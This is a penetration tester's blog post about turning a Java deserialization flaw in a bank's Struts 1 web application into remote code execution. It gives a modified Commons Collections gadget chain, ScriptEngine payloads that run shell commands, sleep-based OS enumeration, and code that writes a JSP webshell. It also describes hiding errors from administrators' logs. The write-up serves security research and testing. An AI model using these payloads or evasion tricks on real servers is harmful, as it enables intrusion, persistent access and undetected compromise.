Expanding Java Deserialization in Struts & Opening to an Ebanking RCE

Today I’ll be talking about the Java Arbitrary Deserialization vulnerability. The reality is, I haven’t found any document about escalating it one into a full Remote Code Execution without relying on outbound connections, so the main purpose of this blog post will be the techniques available to achieve that. If you are unfamiliar with Java deserialization, I recommend reading through [1] first.

This will be showcased through one of my pentesting projects recently (Disclosure: The client is one of the top banks in Vietnam).

If you’re not interested in the boring technical details, skip to #4 for a TLDR version.

1. The Vulnerability

Recently, we at Viettel Cyber Security Center were given the task of pentesting a large client. They already did very well in hardening the servers from public malicious traffic, however one site seems to miss their attention. Let’s skip a week of info gathering and get into the vulnerable endpoint.

endpoint

The param searchForm is using a Java serialized object. When base64 decode the string, you’ll find the magic bytes 0xaced0005 in the block. Quick briefing about Java deserialization: On deserialization the application calls ObjectInputStream.readObject(), which populates the object’s fields and futher calls each respective field class’s readObject() if available. Since we can control the serialized object input, we can control the deserialization flow (e.g. which readObject methods to call, values to assign to object’s fields). To exploit the vulnerability, we need to find a gadget chain that begins from a class’ readObject() and results in the execution of a dangerous function, e.g. Method.invoke()

@frohoff made an excellent tool called Ysoserial as an exploit gadgets repository and payload generator. What made it awesome is that it:

  • Automate the process of collecting necessary libs with correct vulnerable version through Maven for making a serialized object
  • Provides handy stuff to generate the exploit payload ourselves, e.g. ysoserial.payloads.util.Reflections.*, ysoserial.payloads.util.Gadgets.*

We’ll be focusing on the chains Commons Collections (CC), since this lib is pretty much bundled in every modern Java application framework nowadays. You may already notice that there are 6 chains available related to CC. The CC1, CC3 and CC5 chains rely on Java’s AnnotationInvocationHandler‘s Method.invoke() call, but Java put quite a lot of restrictions on the class lately, it won’t work on recent Java versions. CC2 and CC4 are for CommonsCollections4, which is not as common as 3.x. The CommonsCollections6 chain seem to be the most reliable chain of them all, so I used it. The chain leads to org.apache.commons.collections.functors.InvokerTransformer#transform, which internally calls Method.invoke(). More details about the CC chains can be found at [2].

First we need to confirm that Struts indeed uses a vulnerable library. Get the Struts package and you’ll see this in your WEB-INF/lib directory

vulnerable lib

It’s worth noting that the recent Commons Collections lib from 3.2.2 made this attack practically impossible as the it by default prevents InvokerTransformer from being deseralized. So there’s still a chance our payload doesn’t work and we have to switch the gadget chain.

What’s the best way to check for an injection vulnerability? Time-based for the win.

2. The Twist

2.1. Sleep?

The default CC chains eventually executes: Runtime.class.getMethod("getRuntime").invoke(null).exec("...") (You may wonder why the need for Reflections? Because Runtime is not serializable, but Runtime.class is)

The call exec() forks a new process but doesn’t wait for it to finish, so my first attempt was to add a .waitFor() at the end of the chain in order to make the application hangs until sleep returns. But it wasn’t successful.

Imagine the chain like this:
Runtime.class.getMethod("getRuntime").invoke(null).exec("sleep 5").waitFor()

It equals to calling ChainedTransformer.transform() on:

ChainedTransformer[
 ConstantTransformer(Runtime.class),
 InvokerTransformer("getMethod","getRuntime"),
 InvokerTransformer("invoke"),
 InvokerTransformer("exec","touch /tmp/test"),
 /* ^ casts and returns a generic Object
  * but it is in fact a private UNIXProcess*/
 InvokerTransformer("waitFor")
 /* ^ calls Object.getClass() to get original class,
  * invoke waitFor() on private class -> Access violation */
]

As a workaround to actually make a gadget chain that can make the webapp sleep, I modified the method call into: Thread.class.getMethod("sleep").invoke(null,10000L). The code for the new gadget chain can be found at the end of post.

And then…
With 10000L:

sleep 10

20000L:

sleep 20

Let’s get the party started :)

2.2. Escalate

As you may have noticed, the problem now is that the payload was simply invoking Runtime.exec(), which serves as a blind RCE at best, but we need something more concrete to get further into the system. So what now?

2.2.1. Out-of-band channels

The blind RCE should already be sufficient if the webserver is insecurely configured to have outbound internet connections, that way we could use them as side channels to extract the information returned from the commands.

But that’s a big “if” in this case considering this is a very large client and none of the servers our team RCE’d into before had any outbound connection. As expected, my VPS received nothing from the 65535 TCP packets and DNS queries fired from the target.

So now the only direction left to make it into a full RCE is to fetch the command’s result through the webserver itself.

2.2.2 HTTP Response

First idea to come to mind is to modify the payload to print the result of the command to the HTTP response. To do that we need the following:

  1. Change the final Runtime.exec() into some eval that allows executing Java code
  2. Run Java code that fetch the Servlet HTTP response object from the server’s current environment and print the result to it

The first condition could be done quite easily, Ysoserial provides a convenient “end-chain” gadget (meaning it is placed at the end of a chain) using only native Java libs to achieve executing arbitrary Java code. We need to put our wanted Java code into a org.apache.xalan.xsltc.trax.TemplatesImpl object (which is already taken care by ysoserial.payloads.util.Gadgets#createTemplatesImpl), then call TemplatesImpl.newTransformer() on it and the application will eventually execute them. Further analysis of this gadget can be found at [3], and the code for my gadget chain is attached at the end of post.

However during the project time, I didn’t figure out this method, so I had to use my colleague @rskvp93‘s technique, a modified gadget chain based on ScriptEngine, which is also a great way to execute Java code, but one disadvantage is the code must be in Javascript syntax. The modified method call is:

ScriptEngineManager.class.newInstance().getEngineByName("JavaScript").eval("<java_code_in_javascript_syntax>")

The way it works is just the same as the sleep payload I mentioned in 2.1.

Now the second condition would be harder, since this will vary depending much on each code frameworks. If we’re lucky, the framework would have done the hard part of keeping references to the HttpServletResponse object statically and we can fetch it in one line of code. But if it’s not possible, there’s no way to retrieve an object instance of HttpServletResponse at the bottom of the gadget chain, since we have no reference to that instance.

Fortunately in Struts 2, each request is allocated a separate context instance so it’s possible to invoke the response object statically, through org.apache.struts2.ServletActionContext.getResponse().

The payload therefore should only be as simple as:

var stream = org.apache.struts2.ServletActionContext.getResponse().getOutputStream();
var p = java.lang.Runtime.getRuntime().exec(["/bin/sh","-c","echo 'Totally not RCE'"]);
org.apache.commons.io.IOUtils.copy(p.getInputStream(),stream);
stream.flush();

Pass it to the ScriptEngine chain and it will work, right.

struts2 deserialization

But only for Struts 2. The client’s webserver is running on Struts 1…

2.2.3 Webshell

Coming to Struts 1, it has no mechanism to keep track of the context information across a single request (This may have something to do with Struts 1’s model of sharing one Action instance for multiple requests), so getting the context object without a reference is not possible. There is still one more technique to use in a webserver’s blind RCE scenario, which is writing a shell to the webapp directory. But that is, if we have the permission to write onto that folder.

A secure webserver only retains the needed privileges, and it initially needs no write permission to function properly. However as the website grows in functionality such as uploading or parsing documents, it needs write permission onto some folders to store them. In our case, the webserver indeed got a lot of documents stored in one specific directory, so it’s safe to assume that it’s got both read and write permissions in that. So now we’ve got all we need, the idea is to:

  • Pinpoint a file with a unique filename and do a find for the file.
  • Parse the location output as input for the write function.
  • Write the webshell onto the designated location.

All through a blind RCE.

3. The Exploit

A couple of notes before we proceed:

  • I reused the technique from 2.2.2 to be able to write Java code as much as possible since I don’t know about the underlying OS (And this also seems more reliable)
  • A couple of Java try’s and catch’s to wrap the code block are needed since otherwise any errors we cause might show up in the webserver’s error log and raise an alarm for the sysadmins

First, enumerate the OS:

var os = java.lang.System.getProperty('os.name').toLowerCase().contains('sun');
if (os) {
	java.lang.Thread.sleep(5000);
} else {
	java.lang.Thread.sleep(10000);
}

and JRE version:

var ver = java.lang.System.getProperty("java.version");
if (ver.startsWith("1.6")) {
	java.lang.Thread.sleep(5000);
} else {
	java.lang.Thread.sleep(10000);
}

Now find a file that has a unique name, so that the unix’s find returns as least results as possible:

var pb = new java.lang.ProcessBuilder(["/bin/sh","-c","find / -name \"[unique_filename.xxx]\" > /tmp/youshallnotguessthisname.txt 2>/dev/null"]);
pb.redirectErrorStream(true);
var proc = pb.start();
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream()));
var line = '';var result='';
while ((line = reader.readLine()) != null) {}

And finally, parse the location results and write a webshell to that directory. Note that if the find returns more than 1 result, we’ll have to iterate through each one of them until our webshell is present on the webserver’s directory.

var File = java.io.File;
var pb = new java.lang.ProcessBuilder(["/bin/sh","-c","cat /tmp/youshallnotguessthisname.txt 2>/dev/null"]);
pb.redirectErrorStream(true);
var proc = pb.start();
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream()));
var line = '';var lines= new java.util.ArrayList;
while ( (line = reader.readLine()) != null) {lines.add(line);}
var dummyFile = new File(lines.get(0));
var dir = dummyFile.getAbsoluteFile().getParent();
var destFile = new File(dir + File.separator + "/notwebshell.jsp");
var writer = new java.io.PrintWriter(destFile);
writer.print("<%@page import=\"java.util.*,java.io.*,javax.xml.bind.*\"%><%...>");
writer.close();

A couple cups of coffee of debugging later…

shell

w00t!

4. Conclusion

One more thing worth pointing out is that this vulnerability is not easy to detect standing from a firewall’s perspective as the original and the malicious traffic is pretty much alike and hardly noticeable. Indeed it goes undetected despite the client running a heavily monitored firewall, and so this gave us a reliable foothold onto their internal network. We eventually got into many more of their core servers by the end of project and during the process, I got the chance to learn a bunch of interesting stuff about the dark side of Java’s world.

Last but not least, thanks a ton to @gebl, @frohoff who discovered the original Commons Collections chain, @breenmachine who made an awesome work on detailing Java Deserialization, and @rskvp93 for supports along the way.

That’s all folks, hope you learned something from it as well. See you at my nearest awesome security experience.


The two modified chains: CommonsCollections6_2.java and CommonsCollections6_3.java
[1] https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles
[2] https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability
[3] https://www.tharavel.site/2018/04/27/ysoserial-analysis1.html


Edit 04/07/2018: Most of the contents have been rewritten.

Leave a Reply

Your email address will not be published.